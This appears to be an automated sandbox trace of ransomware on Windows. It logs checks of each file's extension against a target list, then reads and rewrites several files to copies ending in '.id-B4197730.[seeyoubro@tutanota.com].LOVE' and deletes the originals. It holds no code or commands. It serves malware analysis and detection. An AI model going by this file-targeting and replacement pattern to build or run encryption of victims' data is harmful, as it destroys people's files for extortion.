[0195.519] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.519] lstrlenW (lpString=".xls") returned 4 [0195.519] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.519] lstrlenW (lpString=".xlsx") returned 5 [0195.519] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.519] lstrlenW (lpString=".ppt") returned 4 [0195.519] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.519] lstrlenW (lpString=".zip") returned 4 [0195.519] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.519] lstrlenW (lpString=".rar") returned 4 [0195.519] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.519] lstrlenW (lpString=".bz2") returned 4 [0195.519] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.519] lstrlenW (lpString=".7z") returned 3 [0195.519] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.519] lstrlenW (lpString=".dbf") returned 4 [0195.519] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.520] lstrlenW (lpString=".1cd") returned 4 [0195.520] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.520] lstrlenW (lpString=".jpg") returned 4 [0195.520] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.520] lstrlenW (lpString=".doc") returned 4 [0195.520] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.520] lstrlenW (lpString=".docx") returned 5 [0195.520] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.520] lstrlenW (lpString=".pdf") returned 4 [0195.520] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.520] lstrlenW (lpString=".xls") returned 4 [0195.520] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.520] lstrlenW (lpString=".xlsx") returned 5 [0195.520] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.520] lstrlenW (lpString=".ppt") returned 4 [0195.520] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.520] lstrlenW (lpString=".zip") returned 4 [0195.520] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.520] lstrlenW (lpString=".rar") returned 4 [0195.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.521] lstrlenW (lpString=".bz2") returned 4 [0195.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.521] lstrlenW (lpString=".7z") returned 3 [0195.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.521] lstrlenW (lpString=".dbf") returned 4 [0195.521] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.521] lstrlenW (lpString=".1cd") returned 4 [0195.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.521] lstrlenW (lpString=".jpg") returned 4 [0195.521] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.521] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0195.521] lstrlenW (lpString="eula.rtf") returned 8 [0195.521] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.551] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=3419) returned 1 [0195.551] CloseHandle (hObject=0x2f8) returned 1 [0195.551] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0195.551] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.576] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.576] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.630] GetLastError () returned 0x0 [0195.630] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xd5b, lpOverlapped=0x0) returned 1 [0195.657] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xd60, lpOverlapped=0x0) returned 1 [0195.657] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.657] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0195.657] SetEndOfFile (hFile=0x2d8) returned 1 [0195.657] CloseHandle (hObject=0x2d8) returned 1 [0195.658] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.658] SetEndOfFile (hFile=0x2dc) returned 1 [0195.658] CloseHandle (hObject=0x2dc) returned 1 [0195.658] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.658] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0195.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.673] lstrlenW (lpString=".doc") returned 4 [0195.673] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.673] lstrlenW (lpString=".docx") returned 5 [0195.673] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.673] lstrlenW (lpString=".pdf") returned 4 [0195.673] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.673] lstrlenW (lpString=".xls") returned 4 [0195.673] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.673] lstrlenW (lpString=".xlsx") returned 5 [0195.673] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.673] lstrlenW (lpString=".ppt") returned 4 [0195.673] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.673] lstrlenW (lpString=".zip") returned 4 [0195.673] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.673] lstrlenW (lpString=".rar") returned 4 [0195.673] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.673] lstrlenW (lpString=".bz2") returned 4 [0195.673] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.673] lstrlenW (lpString=".7z") returned 3 [0195.673] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.673] lstrlenW (lpString=".dbf") returned 4 [0195.673] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.673] lstrlenW (lpString=".1cd") returned 4 [0195.673] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.673] lstrlenW (lpString=".jpg") returned 4 [0195.674] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.674] lstrlenW (lpString=".doc") returned 4 [0195.674] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.674] lstrlenW (lpString=".docx") returned 5 [0195.674] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.674] lstrlenW (lpString=".pdf") returned 4 [0195.674] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.674] lstrlenW (lpString=".xls") returned 4 [0195.674] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.674] lstrlenW (lpString=".xlsx") returned 5 [0195.674] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.674] lstrlenW (lpString=".ppt") returned 4 [0195.674] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.674] lstrlenW (lpString=".zip") returned 4 [0195.674] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.674] lstrlenW (lpString=".rar") returned 4 [0195.674] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.674] lstrlenW (lpString=".bz2") returned 4 [0195.674] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.674] lstrlenW (lpString=".7z") returned 3 [0195.674] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.674] lstrlenW (lpString=".dbf") returned 4 [0195.674] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.674] lstrlenW (lpString=".1cd") returned 4 [0195.675] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0195.675] lstrlenW (lpString=".jpg") returned 4 [0195.675] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.675] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0195.675] lstrlenW (lpString="LocalizedData.xml") returned 17 [0195.675] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.677] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=86284) returned 1 [0195.677] CloseHandle (hObject=0x2dc) returned 1 [0195.677] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0195.677] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.678] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.678] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.678] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.678] GetLastError () returned 0x0 [0195.678] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1510c, lpOverlapped=0x0) returned 1 [0195.710] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x15110, lpOverlapped=0x0) returned 1 [0195.714] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.714] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.714] SetEndOfFile (hFile=0x2d8) returned 1 [0195.714] CloseHandle (hObject=0x2d8) returned 1 [0195.717] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.717] SetEndOfFile (hFile=0x2dc) returned 1 [0195.722] CloseHandle (hObject=0x2dc) returned 1 [0195.722] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.723] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0195.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.723] lstrlenW (lpString=".doc") returned 4 [0195.723] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.723] lstrlenW (lpString=".docx") returned 5 [0195.723] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.723] lstrlenW (lpString=".pdf") returned 4 [0195.723] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.723] lstrlenW (lpString=".xls") returned 4 [0195.723] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.723] lstrlenW (lpString=".xlsx") returned 5 [0195.723] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.723] lstrlenW (lpString=".ppt") returned 4 [0195.723] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.723] lstrlenW (lpString=".zip") returned 4 [0195.723] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.723] lstrlenW (lpString=".rar") returned 4 [0195.723] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString=".bz2") returned 4 [0195.724] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString=".7z") returned 3 [0195.724] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.724] lstrlenW (lpString=".dbf") returned 4 [0195.724] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.724] lstrlenW (lpString=".1cd") returned 4 [0195.724] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.724] lstrlenW (lpString=".jpg") returned 4 [0195.724] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.724] lstrlenW (lpString=".doc") returned 4 [0195.724] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString=".docx") returned 5 [0195.724] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.724] lstrlenW (lpString=".pdf") returned 4 [0195.724] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString=".xls") returned 4 [0195.724] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString=".xlsx") returned 5 [0195.724] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.724] lstrlenW (lpString=".ppt") returned 4 [0195.724] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.725] lstrlenW (lpString=".zip") returned 4 [0195.725] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.725] lstrlenW (lpString=".rar") returned 4 [0195.725] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.725] lstrlenW (lpString=".bz2") returned 4 [0195.725] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.725] lstrlenW (lpString=".7z") returned 3 [0195.725] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.725] lstrlenW (lpString=".dbf") returned 4 [0195.725] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.725] lstrlenW (lpString=".1cd") returned 4 [0195.725] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0195.725] lstrlenW (lpString=".jpg") returned 4 [0195.725] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.725] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0195.725] lstrlenW (lpString="LocalizedData.xml") returned 17 [0195.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.725] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=77232) returned 1 [0195.726] CloseHandle (hObject=0x2dc) returned 1 [0195.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0195.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.726] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.726] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.726] GetLastError () returned 0x0 [0195.726] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x12db0, lpOverlapped=0x0) returned 1 [0195.768] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0195.769] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.769] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.769] SetEndOfFile (hFile=0x2d8) returned 1 [0195.769] CloseHandle (hObject=0x2d8) returned 1 [0195.772] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.772] SetEndOfFile (hFile=0x2dc) returned 1 [0195.773] CloseHandle (hObject=0x2dc) returned 1 [0195.773] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.773] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0195.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.774] lstrlenW (lpString=".doc") returned 4 [0195.774] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.774] lstrlenW (lpString=".docx") returned 5 [0195.774] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.774] lstrlenW (lpString=".pdf") returned 4 [0195.774] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.774] lstrlenW (lpString=".xls") returned 4 [0195.774] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.774] lstrlenW (lpString=".xlsx") returned 5 [0195.774] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.774] lstrlenW (lpString=".ppt") returned 4 [0195.774] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.774] lstrlenW (lpString=".zip") returned 4 [0195.774] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.774] lstrlenW (lpString=".rar") returned 4 [0195.774] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.774] lstrlenW (lpString=".bz2") returned 4 [0195.774] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.774] lstrlenW (lpString=".7z") returned 3 [0195.774] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.774] lstrlenW (lpString=".dbf") returned 4 [0195.774] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.775] lstrlenW (lpString=".1cd") returned 4 [0195.775] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.775] lstrlenW (lpString=".jpg") returned 4 [0195.775] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0195.775] lstrlenW (lpString=".doc") returned 4 [0195.775] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.775] lstrlenW (lpString=".docx") returned 5 [0195.775] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.775] lstrlenW (lpString=".pdf") returned 4 [0195.775] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.775] lstrlenW (lpString=".xls") returned 4 [0195.775] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.775] lstrlenW (lpString=".xlsx") returned 5 [0195.775] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.775] lstrlenW (lpString=".ppt") returned 4 [0195.775] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 